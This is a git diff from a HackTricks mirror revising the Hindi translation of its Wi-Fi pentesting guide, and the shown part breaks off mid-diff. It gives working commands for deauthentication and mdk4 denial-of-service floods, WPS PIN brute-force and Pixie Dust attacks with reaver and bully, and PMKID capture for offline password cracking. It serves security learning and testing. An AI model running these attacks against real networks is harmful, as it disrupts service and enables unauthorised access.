mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['generic-methodologies-and-resources/pentesting-wifi/README.
This commit is contained in:
parent
2672a2c6e9
commit
d4ffa7cbbb
8 changed files with 344 additions and 331 deletions
|
@ -1,8 +1,8 @@
|
|||
# Wifi पेंटेस्टिंग
|
||||
# पेंटेस्टिंग वाईफाई
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
|
@ -10,7 +10,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -22,14 +22,14 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें
|
||||
|
||||
**रियल-टाइम हैक न्यूज़**\
|
||||
रियल-टाइम न्यूज़ और इनसाइट्स के माध्यम से हैकिंग की तेज़ दुनिया के साथ अपडेट रहें
|
||||
रियल-टाइम न्यूज़ और इनसाइट्स के माध्यम से हैकिंग की तेज़ी से बदलती दुनिया के साथ अपडेट रहें
|
||||
|
||||
**नवीनतम घोषणाएँ**\
|
||||
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें
|
||||
|
||||
**हमसे जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर **हमसे जुड़ें** और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
|
||||
## Wifi बेसिक कमांड्स
|
||||
## वाईफाई बेसिक कमांड्स
|
||||
```bash
|
||||
ip link show #List available interfaces
|
||||
iwconfig #List available interfaces
|
||||
|
@ -78,13 +78,13 @@ sudo python setup.py install # Install any dependencies
|
|||
```
|
||||
### [Wifite2](https://github.com/derv82/wifite2)
|
||||
|
||||
यह टूल **WPS/WEP/WPA-PSK** हमलों को स्वचालित करता है। यह स्वतः:
|
||||
यह टूल **WPS/WEP/WPA-PSK** हमलों को स्वचालित करता है। यह स्वचालित रूप से:
|
||||
|
||||
* इंटरफेस को मॉनिटर मोड में सेट करेगा
|
||||
* संभावित नेटवर्क्स के लिए स्कैन करेगा - और आपको पीड़ित(ओं) का चयन करने देगा
|
||||
* अगर WEP - WEP हमलों को लॉन्च करेगा
|
||||
* अगर WPA-PSK
|
||||
* अगर WPS: Pixie dust हमला और bruteforce हमला (सावधान रहें कि bruteforce हमला बहुत लंबा समय ले सकता है)। ध्यान दें कि यह नल PIN या डेटाबेस/जनरेटेड PINs की कोशिश नहीं करता है।
|
||||
* अगर WPS: Pixie dust हमला और bruteforce हमला (ध्यान रखें कि bruteforce हमला बहुत समय ले सकता है)। ध्यान दें कि यह नल PIN या डेटाबेस/जनरेटेड PINs की कोशिश नहीं करता है।
|
||||
* AP से PMKID कैप्चर करने की कोशिश करेगा ताकि उसे क्रैक किया जा सके
|
||||
* AP के क्लाइंट्स को डीऑथेंटिकेट करने की कोशिश करेगा ताकि हैंडशेक कैप्चर किया जा सके
|
||||
* अगर PMKID या हैंडशेक, तो top5000 पासवर्ड्स का उपयोग करके bruteforce की कोशिश करेगा।
|
||||
|
@ -118,26 +118,26 @@ sudo python setup.py install # Install any dependencies
|
|||
|
||||
### Deauthentication Packets
|
||||
|
||||
इस प्रकार के हमले को करने का सबसे आम तरीका **deauthentication** पैकेट्स के साथ होता है। ये "मैनेजमेंट" फ्रेम का एक प्रकार होते हैं जो एक डिवाइस को एक्सेस पॉइंट से डिस्कनेक्ट करने के लिए जिम्मेदार होते हैं। इन पैकेट्स को फोर्ज करना [कई Wi-Fi नेटवर्क्स को हैक करने](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/) की कुंजी है, क्योंकि आप किसी भी क्लाइंट को किसी भी समय नेटवर्क से जबरदस्ती डिस्कनेक्ट कर सकते हैं। इसे कितनी आसानी से किया जा सकता है वह कुछ हद तक डरावना है और अक्सर क्रैकिंग के लिए WPA हैंडशेक इकट्ठा करने के हिस्से के रूप में किया जाता है।
|
||||
इस प्रकार के हमले को करने का सबसे आम तरीका **deauthentication** पैकेट्स के साथ होता है। ये "मैनेजमेंट" फ्रेम का एक प्रकार है जो एक डिवाइस को एक्सेस पॉइंट से डिस्कनेक्ट करने के लिए जिम्मेदार होता है। इन पैकेट्स को फोर्ज करना [कई Wi-Fi नेटवर्क्स को हैक करने](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/) की कुंजी है, क्योंकि आप किसी भी क्लाइंट को किसी भी समय नेटवर्क से जबरदस्ती डिस्कनेक्ट कर सकते हैं। इसे कितनी आसानी से किया जा सकता है वह कुछ हद तक डरावना है और अक्सर क्रैकिंग के लिए WPA हैंडशेक इकट्ठा करने के हिस्से के रूप में किया जाता है।
|
||||
|
||||
क्रैक करने के लिए हैंडशेक हासिल करने के लिए इस डिस्कनेक्शन का क्षणिक उपयोग करने के अलावा, आप उन deauths को बस आते रहने दे सकते हैं, जिसका प्रभाव यह होता है कि क्लाइंट को उस नेटवर्क से लगातार deauth पैकेट्स मिलते रहते हैं जिससे वे जुड़े हुए हैं। क्योंकि ये फ्रेम्स एन्क्रिप्टेड नहीं होते हैं, कई प्रोग्राम्स मैनेजमेंट फ्रेम्स का फायदा उठाकर उन्हें फोर्ज करके नेटवर्क पर एक या सभी डिवाइसेस को भेजते हैं।\
|
||||
क्रैक करने के लिए हैंडशेक को हार्वेस्ट करने के लिए इस डिस्कनेक्शन का क्षणिक उपयोग करने के अलावा, आप उन deauths को बस आते रहने दे सकते हैं, जिसका प्रभाव यह होता है कि क्लाइंट को उस नेटवर्क से deauth पैकेट्स लगातार मिलते रहते हैं जिससे वे जुड़े हुए हैं। क्योंकि ये फ्रेम्स एन्क्रिप्टेड नहीं होते हैं, कई प्रोग्राम्स मैनेजमेंट फ्रेम्स का फायदा उठाते हैं उन्हें फोर्ज करके और नेटवर्क पर एक या सभी डिवाइसेस को भेजकर।\
|
||||
**विवरण यहाँ से** [**यहाँ**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
**Aireplay-ng का उपयोग करके Deauthentication**
|
||||
**Deauthentication का उपयोग Aireplay-ng**
|
||||
```
|
||||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
```
|
||||
* \-0 का अर्थ है डीऑथेंटिकेशन
|
||||
* 1 डीऑथ की संख्या है जो भेजी जानी है (आप चाहें तो कई भेज सकते हैं); 0 का मतलब है उन्हें लगातार भेजना
|
||||
* \-a 00:14:6C:7E:40:80 एक्सेस पॉइंट का MAC पता है
|
||||
* \-c 00:0F:B5:34:30:30 क्लाइंट का MAC पता है जिसे डीऑथेंटिकेट करना है; यदि यह छोड़ दिया जाता है तो ब्रॉडकास्ट डीऑथेंटिकेशन भेजा जाता है (हमेशा काम नहीं करता)
|
||||
* \-c 00:0F:B5:34:30:30 उस क्लाइंट का MAC पता है जिसे डीऑथेंटिकेट करना है; अगर यह छोड़ दिया जाए तो ब्रॉडकास्ट डीऑथेंटिकेशन भेजा जाता है (हमेशा काम नहीं करता)
|
||||
* ath0 इंटरफेस का नाम है
|
||||
|
||||
### डिसएसोसिएशन पैकेट्स
|
||||
|
||||
डिसएसोसिएशन पैकेट्स एक अन्य प्रकार के मैनेजमेंट फ्रेम हैं जिनका उपयोग किसी नोड (जैसे कि लैपटॉप या सेल फोन जैसे किसी भी डिवाइस) को नजदीकी एक्सेस पॉइंट से डिसकनेक्ट करने के लिए किया जाता है। डीऑथेंटिकेशन और डिसएसोसिएशन फ्रेम्स के बीच का मुख्य अंतर उनके उपयोग के तरीके में है।
|
||||
|
||||
एक एपी जो एक रोग डिवाइस को डिसकनेक्ट करना चाहता है, वह डिवाइस को सूचित करने के लिए एक डीऑथेंटिकेशन पैकेट भेजेगा कि उसे नेटवर्क से डिसकनेक्ट कर दिया गया है, जबकि एक डिसएसोसिएशन पैकेट का उपयोग तब किया जाता है जब एपी बंद हो रहा हो, रिबूट हो रहा हो, या क्षेत्र छोड़ रहा हो।
|
||||
एक एपी जो एक रोग डिवाइस को डिसकनेक्ट करना चाहता है, वह डीऑथेंटिकेशन पैकेट भेजेगा ताकि डिवाइस को सूचित किया जा सके कि उसे नेटवर्क से डिसकनेक्ट कर दिया गया है, जबकि डिसएसोसिएशन पैकेट का उपयोग तब किया जाता है जब एपी बंद हो रहा हो, रिबूट हो रहा हो, या क्षेत्र छोड़ रहा हो।
|
||||
|
||||
**विवरण यहाँ से** [**यहाँ**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**।**
|
||||
|
||||
|
@ -156,7 +156,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|||
|
||||
**ATTACK MODE b: Beacon Flooding**
|
||||
|
||||
यह क्लाइंट्स पर नकली APs दिखाने के लिए बीकन फ्रेम्स भेजता है। यह कभी-कभी नेटवर्क स्कैनर्स और यहाँ तक कि ड्राइवर्स को भी क्रैश कर सकता है!
|
||||
ग्राहकों को नकली APs दिखाने के लिए बीकन फ्रेम्स भेजता है। यह कभी-कभी नेटवर्क स्कैनर्स और यहाँ तक कि ड्राइवर्स को भी क्रैश कर सकता है!
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
|
@ -164,7 +164,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|||
# All the parameters are optional and you could load ESSIDs from a file
|
||||
mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**ATTACK MODE a: प्रमाणीकरण इनकार-सेवा (Authentication Denial-Of-Service)**
|
||||
**ATTACK MODE a: प्रमाणीकरण इनकार-ऑफ-सेवा (Authentication Denial-Of-Service)**
|
||||
|
||||
सभी APs को जो रेंज में पाए जाते हैं, उन्हें प्रमाणीकरण फ्रेम्स भेजता है। बहुत सारे क्लाइंट्स कई APs को फ्रीज या रीसेट कर सकते हैं।
|
||||
```bash
|
||||
|
@ -188,18 +188,18 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
|||
```
|
||||
**ATTACK MODE e: EAPOL Start और Logoff Packet Injection**
|
||||
|
||||
AP को **EAPOL** Start frames से बाढ़ करता है ताकि वह **नकली सत्रों** के साथ व्यस्त रहे और इस प्रकार यह किसी भी वैध क्लाइंट्स को संभालने में असमर्थ हो जाता है। या क्लाइंट्स को **नकली** EAPOL **Logoff संदेश** इंजेक्ट करके लॉग ऑफ करता है।
|
||||
AP को **EAPOL** Start frames से बाढ़ देता है ताकि वह **नकली सत्रों** के साथ व्यस्त रहे और इस प्रकार यह किसी भी वैध क्लाइंट्स को संभालने में असमर्थ हो जाता है। या **नकली** EAPOL **Logoff संदेशों** को इंजेक्ट करके क्लाइंट्स को लॉग ऑफ कर देता है।
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**ATTACK MODE s: IEEE 802.11s मेश नेटवर्क्स के लिए हमले**
|
||||
**ATTACK MODE s: IEEE 802.11s मेष नेटवर्क्स के लिए हमले**
|
||||
|
||||
मेश नेटवर्क्स में लिंक प्रबंधन और रूटिंग पर विभिन्न हमले। पड़ोसियों और रूट्स को बाढ़ दें, ब्लैक होल्स बनाएं और ट्रैफिक को मोड़ें!
|
||||
मेष नेटवर्क्स में लिंक प्रबंधन और रूटिंग पर विभिन्न हमले। पड़ोसियों और रूट्स को बाढ़ दें, ब्लैक होल्स बनाएं और ट्रैफिक को मोड़ें!
|
||||
|
||||
**ATTACK MODE w: WIDS भ्रम**
|
||||
**ATTACK MODE w: WIDS Confusion**
|
||||
|
||||
इंट्रूजन डिटेक्शन और प्रिवेंशन सिस्टम्स को भ्रमित/दुरुपयोग करें, क्लाइंट्स को एकाधिक WDS नोड्स या नकली रोग एपीएस से क्रॉस-कनेक्ट करके।
|
||||
Intrusion Detection और Prevention Systems को भ्रमित/दुरुपयोग करें, क्लाइंट्स को एकाधिक WDS नोड्स या नकली रोग APs से क्रॉस-कनेक्ट करके।
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
|
@ -210,15 +210,15 @@ mkd4 -e <SSID> -c <channel> [-z]
|
|||
|
||||
### **Airggedon**
|
||||
|
||||
_**Airggedon**_ पिछली टिप्पणियों में प्रस्तावित अधिकांश हमलों की पेशकश करता है:
|
||||
_**Airgeddon**_ पिछली टिप्पणियों में प्रस्तावित अधिकांश हमलों की पेशकश करता है:
|
||||
|
||||
![](<../../.gitbook/assets/image (126).png>)
|
||||
|
||||
## WPS
|
||||
|
||||
WPS का अर्थ है Wi-Fi Protected Setup। यह एक वायरलेस नेटवर्क सुरक्षा मानक है जो राउटर और वायरलेस उपकरणों के बीच कनेक्शन को तेज और आसान बनाने की कोशिश करता है। **WPS केवल उन वायरलेस नेटवर्कों के लिए काम करता है जो पासवर्ड का उपयोग करते हैं** जो **WPA** Personal या **WPA2** Personal सुरक्षा प्रोटोकॉल के साथ एन्क्रिप्टेड होते हैं। WPS उन वायरलेस नेटवर्कों पर काम नहीं करता है जो पुराने WEP सुरक्षा का उपयोग करते हैं, जिसे किसी भी हैकर द्वारा बुनियादी उपकरणों और कौशल के साथ आसानी से क्रैक किया जा सकता है। (यहाँ से [here](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
|
||||
WPS का मतलब है Wi-Fi Protected Setup। यह एक वायरलेस नेटवर्क सुरक्षा मानक है जो राउटर और वायरलेस उपकरणों के बीच कनेक्शन को तेज और आसान बनाने की कोशिश करता है। **WPS केवल उन वायरलेस नेटवर्कों के लिए काम करता है जो पासवर्ड का उपयोग करते हैं** जो **WPA** Personal या **WPA2** Personal सुरक्षा प्रोटोकॉल के साथ एन्क्रिप्टेड होते हैं। WPS उन वायरलेस नेटवर्कों पर काम नहीं करता है जो पुराने WEP सुरक्षा का उपयोग करते हैं, जिसे किसी भी हैकर द्वारा बुनियादी उपकरणों और कौशल के साथ आसानी से क्रैक किया जा सकता है। (यहाँ से [here](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
|
||||
|
||||
WPS नेटवर्क से जुड़ने के लिए एक 8 लंबाई का PIN का उपयोग करता है, लेकिन पहले 4 नंबरों की जांच की जाती है, और यदि सही हो, तो दूसरे 4 नंबरों की जांच की जाती है। इसलिए, पहले आधे और फिर दूसरे आधे को Brute-Force करना संभव है (केवल 11000 संभावनाएं)।
|
||||
WPS नेटवर्क से जुड़ने के लिए 8 लंबाई का PIN का उपयोग करता है, लेकिन पहले 4 नंबरों की जांच की जाती है, और यदि सही हो, तो दूसरे 4 नंबरों की जांच की जाती है। इसलिए, पहले आधे और फिर दूसरे आधे को Brute-Force करना संभव है (केवल 11000 संभावनाएं)।
|
||||
|
||||
### WPS Bruteforce
|
||||
|
||||
|
@ -227,8 +227,8 @@ WPS नेटवर्क से जुड़ने के लिए एक 8
|
|||
* **Reaver** को WPS के खिलाफ एक मजबूत और व्यावहारिक हमले के रूप में डिजाइन किया गया है, और इसे विभिन्न प्रकार के एक्सेस पॉइंट्स और WPS कार्यान्वयनों के खिलाफ परीक्षण किया गया है।
|
||||
* **Bully** WPS ब्रूट फोर्स हमले का **नया कार्यान्वयन** है, जो C में लिखा गया है। इसमें मूल reaver कोड की तुलना में कई फायदे हैं: कम निर्भरताएं, सुधारित मेमोरी और सीपीयू प्रदर्शन, एंडियननेस की सही हैंडलिंग, और अधिक मजबूत विकल्पों का सेट।
|
||||
|
||||
यह हमला आठ-अंकीय WPS PIN कोड की **कमजोरी का फायदा उठाता है**; इस समस्या के कारण, प्रोटोकॉल **PIN के पहले चार अंकों के बारे में जानकारी प्रकट करता है**, और **अंतिम** अंक **checksum** के रूप में काम करता है, जिससे WPS AP को ब्रूट फोर्सिंग आसान हो जाती है।\
|
||||
ध्यान दें कि कुछ उपकरणों में **brute-force सुरक्षा** शामिल होती है, जो आमतौर पर **MAC पते को ब्लॉक** करती हैं जो बार-बार हमला करने की कोशिश करते हैं। ऐसे मामले में, इस हमले की जटिलता बढ़ जाती है, क्योंकि आपको PINs का परीक्षण करते समय **MAC पते को घुमाना** होगा।
|
||||
यह हमला आठ-अंकीय WPS PIN कोड की **कमजोरी का फायदा उठाता है**; इस समस्या के कारण, प्रोटोकॉल **PIN के पहले चार अंकों के बारे में जानकारी प्रकट करता है**, और **अंतिम** अंक **checksum** के रूप में काम करता है, जिससे WPS AP को ब्रूट फोर्स करना आसान हो जाता है।\
|
||||
नोट करें कि कुछ उपकरणों में **brute-force सुरक्षा** शामिल होती है, जो आमतौर पर **MAC पते को ब्लॉक** करती हैं जो बार-बार हमला करने की कोशिश करते हैं। ऐसे मामले में, इस हमले की जटिलता बढ़ जाती है, क्योंकि आपको PINs का परीक्षण करते समय **MAC पते को घुमाना** होगा।
|
||||
|
||||
यदि WPS का वैध कोड मिल जाता है, तो Bully और Reaver दोनों इसका उपयोग नेटवर्क की सुरक्षा के लिए उपयोग किए गए WPA/WPA2 PSK की खोज करने के लिए करेंगे, ताकि आप जब चाहें तब जुड़ सकें।
|
||||
```bash
|
||||
|
@ -237,23 +237,23 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
|||
```
|
||||
**स्मार्ट ब्रूट फोर्स**
|
||||
|
||||
हर संभावित पिन को आजमाने की शुरुआत करने के बजाय, आपको जांचना चाहिए कि क्या **AP जिस पर आप हमला कर रहे हैं उसके लिए उपलब्ध पिन्स** (निर्माता MAC के आधार पर) और **पिन सॉफ्टवेयर द्वारा उत्पन्न पिन्स** हैं।
|
||||
हर संभावित पिन को आजमाने की शुरुआत करने के बजाय, आपको जांचना चाहिए कि क्या **AP के लिए उपलब्ध पिन्स की खोज की गई है** (निर्माता MAC के आधार पर) और **पिन सॉफ्टवेयर द्वारा उत्पन्न पिन्स**।
|
||||
|
||||
* ज्ञात पिन्स का डेटाबेस उन एक्सेस पॉइंट्स के लिए बनाया गया है जिनके निर्माताओं के लिए यह ज्ञात है कि वे समान WPS पिन्स का उपयोग करते हैं। इस डेटाबेस में MAC-पतों के पहले तीन अक्टेट्स और उन पिन्स की सूची होती है जो इस निर्माता के लिए बहुत संभावित हैं।
|
||||
* WPS पिन्स उत्पन्न करने के लिए कई एल्गोरिदम हैं। उदाहरण के लिए, ComputePIN और EasyBox अपनी गणनाओं में एक्सेस पॉइंट के MAC-पते का उपयोग करते हैं। लेकिन Arcadyan एल्गोरिदम को एक डिवाइस ID की भी आवश्यकता होती है।
|
||||
|
||||
### WPS Pixie Dust हमला
|
||||
|
||||
Dominique Bongard ने पता लगाया कि कुछ APs गुप्त होने वाले **nonces** (जिन्हें **E-S1** और **E-S2** के रूप में जाना जाता है) को उत्पन्न करने के कमजोर तरीके रखते हैं। अगर हम इन nonces को समझने में सक्षम होते हैं, तो हम आसानी से AP का WPS पिन पा सकते हैं क्योंकि AP को हमें हैश में यह देना होता है ताकि यह साबित कर सके कि वह भी पिन को जानता है, और क्लाइंट किसी रूज AP से जुड़ नहीं रहा है। ये E-S1 और E-S2 मूल रूप से "लॉक बॉक्स को खोलने की चाबियाँ" हैं जिसमें WPS पिन होता है। अधिक जानकारी यहाँ: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
Dominique Bongard ने पता लगाया कि कुछ APs गुप्त होने वाले **nonces** (जिन्हें **E-S1** और **E-S2** के रूप में जाना जाता है) को उत्पन्न करने के कमजोर तरीके रखते हैं। यदि हम इन nonces को समझने में सक्षम हैं, तो हम आसानी से AP के WPS पिन का पता लगा सकते हैं क्योंकि AP को हमें हैश में यह देना होगा ताकि यह साबित कर सके कि वह भी पिन को जानता है, और क्लाइंट किसी रूज AP से जुड़ नहीं रहा है। ये E-S1 और E-S2 मूल रूप से WPS पिन वाले "लॉक बॉक्स को खोलने की चाबियाँ" हैं। अधिक जानकारी यहाँ: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
|
||||
मूल रूप से, कुछ कार्यान्वयनों में पिन के 2 भागों को एन्क्रिप्ट करने के लिए यादृच्छिक कुंजियों के उपयोग में विफलता हुई (क्योंकि प्रमाणीकरण संचार के दौरान इसे 2 भागों में विघटित किया जाता है और क्लाइंट को भेजा जाता है), इसलिए एक ऑफलाइन हमला वैध पिन को ब्रूट फोर्स करने के लिए उपयोग किया जा सकता था।
|
||||
मूल रूप से, कुछ कार्यान्वयनों में पिन के 2 भागों को एन्क्रिप्ट करने के लिए यादृच्छिक कुंजियों के उपयोग में विफलता हुई (जैसा कि प्रमाणीकरण संचार के दौरान पिन को 2 भागों में विघटित किया जाता है और क्लाइंट को भेजा जाता है), इसलिए एक ऑफलाइन हमला वैध पिन को ब्रूट फोर्स करने के लिए उपयोग किया जा सकता था।
|
||||
```
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
```
|
||||
### नल पिन हमला
|
||||
|
||||
कुछ बहुत खराब कार्यान्वयनों ने नल पिन को जुड़ने की अनुमति दी (यह बहुत अजीब भी है)। Reaver इसका परीक्षण कर सकता है (Bully नहीं कर सकता)।
|
||||
कुछ बहुत खराब कार्यान्वयनों ने नल पिन को जुड़ने की अनुमति दी (यह बहुत अजीब भी है)। Reaver इसकी जांच कर सकता है (Bully नहीं कर सकता)।
|
||||
```
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
```
|
||||
|
@ -264,14 +264,14 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|||
![](<../../.gitbook/assets/image (124).png>)
|
||||
|
||||
* 5 और 6 आपको **अपना कस्टम PIN** आजमाने देते हैं (यदि आपके पास कोई हो)
|
||||
* 7 और 8 **Pixie Dust हमला** करते हैं
|
||||
* 7 और 8 **Pixie Dust हमला** करने के लिए हैं
|
||||
* 13 आपको **NULL PIN** की जांच करने देता है
|
||||
* 11 और 12 **चुने गए AP से संबंधित PINs को उपलब्ध डेटाबेस से एकत्रित करेंगे** और **संभावित PINs उत्पन्न** करेंगे जिसमें शामिल हैं: ComputePIN, EasyBox और वैकल्पिक रूप से Arcadyan (अनुशंसित, क्यों नहीं?)
|
||||
* 11 और 12 चुने गए AP से संबंधित PINs को उपलब्ध डेटाबेस से **एकत्रित** करेंगे और ComputePIN, EasyBox और वैकल्पिक रूप से Arcadyan का उपयोग करके संभावित **PINs** **उत्पन्न** करेंगे (अनुशंसित, क्यों नहीं?)
|
||||
* 9 और 10 **हर संभावित PIN** की जांच करेंगे
|
||||
|
||||
## **WEP**
|
||||
|
||||
इतना टूटा और गायब हो गया कि मैं इसके बारे में बात नहीं करने वाला। बस जान लें कि _**airgeddon**_ में WEP के लिए "All-in-One" नामक एक विकल्प है जो इस प्रकार की सुरक्षा पर हमला करता है। अधिक उपकरण समान विकल्प प्रदान करते हैं।
|
||||
इतना टूटा और गायब हो गया कि मैं इसके बारे में बात नहीं करने वाला। बस जान लें कि _**airgeddon**_ में WEP के लिए "All-in-One" नामक एक विकल्प है जो इस प्रकार की सुरक्षा पर हमला करने के लिए है। अधिक उपकरण इसी तरह के विकल्प प्रदान करते हैं।
|
||||
|
||||
![](<../../.gitbook/assets/image (125).png>)
|
||||
|
||||
|
@ -283,7 +283,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|||
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें
|
||||
|
||||
**Real-Time Hack News**\
|
||||
रियल-टाइम न्यूज़ और अंतर्दृष्टि के माध्यम से हैकिंग की तेज़ गति वाली दुनिया के साथ अप-टू-डेट रहें
|
||||
रियल-टाइम न्यूज़ और इनसाइट्स के माध्यम से हैकिंग की तेज़ी से बदलती दुनिया के साथ अपडेट रहें
|
||||
|
||||
**Latest Announcements**\
|
||||
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें
|
||||
|
@ -294,15 +294,15 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|||
|
||||
### PMKID
|
||||
|
||||
2018 में hashcat लेखकों ने एक नए प्रकार के हमले का [खुलासा](https://hashcat.net/forum/thread-7717.html) किया जो केवल **एक एकल पैकेट** पर निर्भर करता है, लेकिन इसके लिए हमारे लक्ष्य AP से जुड़े किसी भी क्लाइंट की आवश्यकता नहीं होती है बल्कि केवल हमलावर और AP के बीच संचार की आवश्यकता होती है।
|
||||
2018 में hashcat लेखकों ने एक नए प्रकार के हमले का [खुलासा](https://hashcat.net/forum/thread-7717.html) किया, जो केवल **एक एकल पैकेट** पर निर्भर नहीं करता, लेकिन इसके लिए हमारे लक्ष्य AP से जुड़े किसी भी क्लाइंट की आवश्यकता नहीं होती, केवल हमलावर और AP के बीच संचार की जरूरत होती है।
|
||||
|
||||
यह पता चला है कि आधुनिक राउटर्स में से **बहुत सारे** AP द्वारा भेजे गए **पहले EAPOL** फ्रेम के अंत में एक **वैकल्पिक फील्ड** जोड़ते हैं, जब कोई जुड़ रहा होता है, जिसे `Robust Security Network` कहा जाता है, जिसमें `PMKID` नामक कुछ शामिल होता है।
|
||||
|
||||
मूल पोस्ट में बताया गया है कि **PMKID** हमें ज्ञात डेटा का उपयोग करके प्राप्त किया जाता है:
|
||||
मूल पोस्ट में बताया गया है कि **PMKID** हमें ज्ञात डेटा का उपयोग करके निकाला जाता है:
|
||||
```
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
**चूँकि "PMK Name" स्ट्रिंग स्थिर है, हमें पता है कि AP और स्टेशन का BSSID और `PMK` वही है जो पूर्ण 4-वे हैंडशेक से प्राप्त होता है**, यह सब hashcat को PSK को क्रैक करने और पासफ्रेज को पुनः प्राप्त करने के लिए चाहिए!
|
||||
**चूँकि "PMK Name" स्ट्रिंग स्थिर है, हमें AP का BSSID और स्टेशन दोनों का पता है और `PMK` वही है जो पूर्ण 4-वे हैंडशेक से प्राप्त होता है**, यह सब hashcat को PSK को क्रैक करने और पासफ्रेज को पुनः प्राप्त करने के लिए चाहिए!
|
||||
विवरण [यहाँ](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) से प्राप्त किया गया है।
|
||||
|
||||
इस जानकारी को **एकत्रित** करने और पासवर्ड को स्थानीय रूप से **bruteforce** करने के लिए आप कर सकते हैं:
|
||||
|
@ -317,8 +317,8 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
|||
#You can also obtains PMKIDs using eaphammer
|
||||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||||
```
|
||||
**प्राप्त किए गए PMKIDs** को **कंसोल** में दिखाया जाएगा और यह \_**/tmp/attack.pcap**\_ में भी **सहेजा** जाएगा\
|
||||
अब, कैप्चर को **hashcat/john** प्रारूप में परिवर्तित करें और इसे क्रैक करें:
|
||||
कैप्चर किए गए **PMKIDs** **कंसोल** में दिखाई देंगे और \_**/tmp/attack.pcap**\_ में भी **सेव** किए जाएंगे।\
|
||||
